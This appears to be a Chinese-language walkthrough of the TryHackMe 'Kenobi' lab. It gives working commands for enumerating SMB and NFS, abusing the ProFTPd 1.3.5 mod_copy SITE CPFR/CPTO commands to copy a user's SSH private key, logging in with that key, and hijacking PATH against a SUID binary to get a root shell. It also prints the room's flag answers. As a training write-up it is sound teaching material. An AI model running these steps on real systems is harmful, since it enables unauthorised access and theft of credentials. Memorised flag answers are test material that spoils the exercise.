TryHackMe-Kenobi练习

TryHackMe-Kenobi练习_第1张图片

本文相关的TryHackMe实验房间链接:TryHackMe | Kenobi

第一步,端口扫描

nmap -sC -sV -A 10.10.95.171

TryHackMe-Kenobi练习_第2张图片

答题: 

TryHackMe-Kenobi练习_第3张图片 

 接下来我们枚举 SMB 共享的计算机

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.95.171

TryHackMe-Kenobi练习_第4张图片

smbclient //10.10.95.171/anonymous
//这里不用输入密码,按回车键即可

TryHackMe-Kenobi练习_第5张图片

另一种方法

smbget -R smb://10.10.95.171/anonymous

我们查看一下log.txt

cat log.txt

TryHackMe-Kenobi练习_第6张图片

TryHackMe-Kenobi练习_第7张图片

TryHackMe-Kenobi练习_第8张图片 

查看来自共享系统的log.txt文件内容,我们可以获取以下两个信息:

  • Kenobi用户的ssh密钥--保存在/home/kenobi/.ssh路径下
  • 运行FTP服务的用户是 Kenobi,端口为21

我们之前 nmap 端口扫描将显示运行服务 rpcbind 的端口 111。这只是一个将远程过程调用 (RPC) 程序号转换为通用地址的服务器。当 RPC 服务启动时,它会告诉 rpcbind 它正在侦听的地址以及它准备服务的 RPC 程序编号。

在我们的例子中,端口 111 是对网络文件系统的访问。让我们使用 nmap 来枚举它。

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.95.171

TryHackMe-Kenobi练习_第9张图片

答题:

TryHackMe-Kenobi练习_第10张图片

TryHackMe-Kenobi练习_第11张图片 TryHackMe-Kenobi练习_第12张图片

让我们获取 ProFtpd 的版本。使用 netcat 通过 FTP 端口连接到计算机。 

nc 10.10.95.171 21
//#此处ip为目标机ip  目标机的ftp服务运行在21端口上

 接下来

我们可以使用 searchsploit 来查找特定软件版本的漏洞。

Searchsploit 基本上只是一个用于 exploit-db.com 的命令行搜索工具。

searchsploit proftpd 1.3.5

TryHackMe-Kenobi练习_第13张图片

我们已经从 ProFtpd 的 mod_copy 模块中发现了漏洞。

mod_copy 模块实现 SITE CPFR 和 SITE CPTO 命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。

我们知道 FTP 服务以 Kenobi 用户身份(来自共享上的文件)运行,并为该用户生成一个 ssh 密钥。

现在,我们将使用 SITE CPFR 和 SITE CPTO 命令复制 Kenobi 的私钥。

#连接目标机的FTP服务器,FTP运行在21端口
nc 10.10.95.171 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa  #将密钥复制到NFS所挂载的/var目录下

TryHackMe-Kenobi练习_第14张图片

让我们将 /var/tmp 目录挂载到我们的机器上 

mkdir /mnt/kenobiNFS
mount 10.10.95.171:/var /mnt/kenobiNFS  
//此处的ip是目标机ip。完成挂载后:目标机的/var目录下的所有文件,都将在攻击机的/mnt/kenobiNFS目录下
ls -la /mnt/kenobiNFS

TryHackMe-Kenobi练习_第15张图片 我们现在复制Kenobi的ssh私钥到攻击机当前目录,然后使用ssh登录到 Kenobi 的帐户,查看标志性文件:

cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa [email protected]
//这里注意是kenobi
cat /home/kenobi/user.txt

TryHackMe-Kenobi练习_第16张图片

flag:d0b0f3f53b6caa532a83915e19224899 

答题:

TryHackMe-Kenobi练习_第17张图片

SUID 位可能很危险,某些二进制文件(如 passwd)需要使用提升的权限运行(因为它会在系统上重置您的密码),但是其他可能具有 SUID 位的自定义文件可能会导致各种问题。

要在系统中搜索这些类型的文件,请运行以下命令:

find / -perm -u=s -type f 2>/dev/null

TryHackMe-Kenobi练习_第18张图片

我们运行一下

TryHackMe-Kenobi练习_第19张图片

Strings 是 Linux 上的一个命令,用于在二进制文件上查找人类可读的字符串。

strings /usr/bin/menu

TryHackMe-Kenobi练习_第20张图片

这向我们表明二进制文件在没有完整路径的情况下运行(例如,不使用 /usr/bin/curl 或 /usr/bin/uname)。

由于此文件以 root 用户权限运行,因此我们可以操纵我们的路径获得 root shell。

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu

TryHackMe-Kenobi练习_第21张图片

flag:177b3cd8562289f37382721c28381f02 

答题:

TryHackMe-Kenobi练习_第22张图片 TryHackMe-Kenobi练习_第23张图片

你可能感兴趣的:(网络,web安全)